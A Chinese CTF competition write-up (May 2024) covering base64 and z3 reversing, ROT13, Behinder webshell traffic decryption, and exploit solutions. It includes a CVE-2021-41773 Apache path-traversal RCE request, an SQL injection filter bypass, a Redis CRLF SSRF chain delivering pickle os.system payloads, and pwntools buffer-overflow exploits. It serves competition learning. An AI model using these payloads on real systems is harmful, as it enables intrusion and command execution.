首页 CTFer的比赛之路

比赛时间：2024-05-06

# Re-easyre

基本的 base64 换表，用 CyberChef 解密

# 图片.png

# Re-babyre

进入主函数，发现输入四次 看一下就知道是大数求解
(当初写的时候差不多 不知道为什么第四个总是算错…)

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from z3 import *

s = Solver()  # 设置一个解方程的类Solver(必须要设置）

v5=BitVec('v5',32)
v6=BitVec('v6',32)
v7=BitVec('v7',32)
v8=BitVec('v8',32)

s.add(v5 + 1380855784 == 907301700)

s.add((v6 | 0x8E03BEC3) - 3 * (v6 & 0x71FC413C) + v6 == -1876131848)

s.add(v7<=0x10000000)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))
     + -3 * (~v7 | 0xA8453437)
     + 3 * ~(v7 | 0xA8453437)
     - (-10 * (v7 & 0xA8453437)
      + (v7 ^ 0xA8453437)) == 551387557)

s.add(v8<=0x10000000)
s.add(11 * ~(v8 ^ 0xE33B67BD)
     + 4 * ~(~v8 | 0xE33B67BD)
     - (6 * (v8& 0xE33B67BD)
      + 12 * ~(v8 | 0xE33B67BD))
     + 3 * (v8 & 0xD2C7FC0C)
     + -5 * v8
     - 2 * ~(v8 | 0xD2C7FC0C)
     + ~(v8 | 0x2D3803F3)
     + 4 * (v8 & 0x2D3803F3)
     - -2 * (v8 | 0x2D3803F3) == -837785892)

print(s.check())#check是保证有解
answer=s.model()#model是输出运算结果
print(answer)

data=[3821413212,98124621,78769651,67321987]
print('flag{'+'%08x-'%data[0]+'%08x-'%data[1]+'%08x-'%data[2]+'%08x'%data[3]+'}')

#flag{e3c6235c-05d9434d-04b1edf3-04034083}

# Misc - 签到

一张 GIF 图，拖到 pr 里面一帧一帧看，第一帧是：Flag is the ROT13 of …
之后的每一帧合并起来就是：

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synt{jrypbzr-gb-pbzcrgvgvba}

然后通过 ROT13 解密，得到 flag：

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flag{welcome-to-competition}

# Misc-easyshell（复现）

冰蝎这个 webShell 的流量分析，推测是冰蝎 3.0，使用默认密码 rebeyond 的 md5 加密然后取前 16 位作为 key 进行 AES 解密，或者直接通过 （ https://github.com/melody27/behinder_decrypt ） 进行解密：

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python3 py_decrypt.py -f easyshell.pcap | tee result

获得相应的请求和响应的内容。
通过如下两个命令分别提取文件的信息：

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cat result | grep {\"msg\":\"
cat result | grep $mode=\"ZG93bmxvYWRQYXJ0\";

之后能够获取到一个压缩包，之后通过创建一个 CRC 值与获取的压缩包 CRC 值相同的 zip 包，然后进行明文攻击，最后获得 flag：

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flag{70854278-ea0c-462e-bc18-468c7a04a505}

# Misc-Gateway（复现）

在附件 baseinfoSet.json 中有个 “baseinfoSet_TELECOMPASSWORD”: “106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&5 6&103&102&56&52&101&104&102&105&53&101&53&102&129&”,
在网上搜索 baseinfoSet_TELECOMPASSWORD 存在解密脚本，直接解密得到 flag：

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flag{ad1985868133e8cf1828cb84adbe5a5b}
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code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    # "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
    if i > 57:
       i-=4
    result.append(chr(i))
print (''.join(result))

# Misc-Apache（复现）

在博客里直接搜索 httpd:2.4.49-buster 漏洞 可知，有个 CVE-2021-41773 的路径穿越漏洞，相关连接如下 Apache HTTP Server 路径穿越漏洞复现 (CVE-2021-41773)-CSDN 博客
所以根据 python 的源码，构造如下的包：

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POST /nc HTTP/2
Host: prob01-8k743yxw.contest.pku.edu.cn
Content-Length: 470
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="port"

80
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="data"

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: aaaa
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 45
Content-Type: application/x-www-form-urlencoded

echo Content-Type:text/plain; echo; cat /flag;


------WebKitFormBoundary7MA4YWxkTrZu0gW--

通过 burp 发包得到 flag：

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flag{wHaTaaPaCheRcE}

# Web-phpsql

题目开始是个登陆框，根据题目，应该是个 sql 注入，先注册账号，然后登陆注册的账号看看情况，出现一个弹窗，表示只有 admin 才能拿到一些内容，那么猜测应该是万能密码登陆 admin 账号。
image.png
当 payload 为 1’ or 1=1 # 的时候，回显是 hacker，多次尝试之后，发现只过滤了空格，内联注释绕过，构造 payload 为：1’//Or//1//like//1/**/# 成功绕过，在经过两次离谱的弹窗之后，成功拿到 flag：

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flag{KTFoYJlPMrqDW6fBGwGG}

# Web-pyssrf（复现）

访问 source 路由，拿到 python 源码

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from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)


@app.route('/')
def hello():
    url = request.args.get("url")
    return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
    <h2>Here is your result</h2>
    <h3>source code in /source</h3>
    %s
    ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')
def source():
    return

看上去是一个 pickle 反序列化加上 ssrf 的洞，具体啥原理还不是很懂，先写下参考地址：漏洞是叫 CRLF 编号为 CVE 2019-9947，参考资料可以是
Python urllib CRLF 注入漏洞小结_urllib crlf 漏洞 - CSDN 博客
首先是构造 key 值：
md5(‘http://1’)=22d474190b1889d3373fa4f9334e979c
** 用脚本构造 pickle 的反序列数据 ** :

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import base64 
a=b'''cos system
(S'command here'
tR.'''
print(base64.b64encode(a))

因为采用的是 flask 框架，最简单获得回显的方式就是写文件到静态目录

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import base64
a=b'''cos
system
(S'mkdir static'
tR.'''
print(base64.b64encode(a))

再将 flag 的内容重定向到 static/1.txt 中

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import base64
a=b'''cos
system
(S'cat /flag>static/1.txt'
tR.'''
print(base64.b64encode(a))

所以，payload 依次为：
写入 redis 内缓存，创建静态目录 static

/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydta2Rp
ciBzdGF0aWMnCnRSLg%3d%3d%22%0d%0apaddins

缓存之后触发反序列化：

/?url=1

读取 flag，并重定向到 /static/1.txt 内：

/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydjYXQg
L2ZsYWc%2bc3RhdGljLzEudHh0Jwp0Ui4%3d%22%0d%0apaddins

缓存之后触发反序列化：

/?url=1

之后访问 /static/1.txt 拿到 flag：

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flag{qtRqiLrtTp6hoN2RPMti}

# Pwn-babypwn

（这个题不知为啥，有种莫名奇妙的感觉，本地无论几次都不同，远程就能通）
查看开启的保护：

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root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

反编译之后，找到漏洞函数 login ()：

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__int64 login()
{
  int v0; // ebx
  char buf[32]; // [rsp+0h] [rbp-50h] BYREF
  char s1[40]; // [rsp+20h] [rbp-30h] BYREF

  printf("Enter your username: ");
  read(0, buf, 0x40uLL);
  printf("Enter the password: ");
  read(0, s1, 0x40uLL);
  v0 = strcmp(buf, "root");
  return v0 | (unsigned int)strcmp(s1, "!@#$%^&*()_+");
}

并且，存在后门函数 sub_401176，地址为 0x401176，所以，根据 gdb 调试，得知缓冲区加上 ebp 的大小为 120 字节，所以 exp 如下：

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from pwn import *
#io = process("./pwn")
io = remote('prob07.contest.pku.edu.cn',10007)
context.log_level = 'debug'
backdoor = 0x40117a  #不知道为啥，这里如果是0x401176的话，打不通
token = b"502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4="
io.sendline(token)
io.recvuntil(b'Enter your username: ')
payload = b'a'*120 + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

最后 flag 为：

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flag{kooD1EijiemeePh8ieNei2Xol8ich5DE}

# Pwn-Login

没有附件 nc 连上多测试几次就会知道 password 多输几个字符就会输出二进制文件
图片.png 多试试 0x28 个字符时能接收到正确的文件

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from pwn import *
import os

io = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"

io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')

io.sendlineafter('Username', "admin\x00")

io.sendlineafter('Password', b'a'*(0x28))

io.recvuntil('dumped\n')
key = io.recvall()

fp = open('att', 'wb')
fp.write(key)

os.system('chmod 777 att')


io.interactive()

att.pdf(zip)

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__int64 login()
{
  char s1[48]; // [rsp+0h] [rbp-90h] BYREF
  char s[95]; // [rsp+30h] [rbp-60h] BYREF
  unsigned __int8 v3; // [rsp+8Fh] [rbp-1h]

  v3 = 0;
  memset(s, 0, 0x50uLL);
  memset(s1, 0, 0x28uLL);
  printf("Username: ");
  fgets(s, 80, stdin);
  if ( s[0x14] )
  {
    puts("Username too long");
    return 0LL;
  }
  else
  {
    printf("Password: ");
    fgets(s1, 0x320, stdin);
    if ( !strcmp(s, "admin\n") && !strcmp(s1, "1q2w3e4r\n") )
    {
      puts("Login successful, welcome admin");
      v3 = 1;
    }
    else
    {
      puts("Login failed");
      v3 = 0;
    }
    if ( s1[0x28] )
    {
      puts("Stack smashing detected");
      overflow_detected = 1;
      return 0LL;
    }
    else
    {
      return v3;
    }
  }
}

溢出，返回到后门函数
exp:

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from pwn import *
import os

io = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"

io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')

payload = b'1q2w3e4r'
payload = payload.ljust(0x98, b'\x00') + p64(0x40127e)
io.sendlineafter('Username', "admin\x00")
io.sendlineafter("Password", payload)

io.interactive()

# flag{loGiN_SuccESs_cOnGratUlatION}
更新于

请我喝[茶]~(￣▽￣)~*

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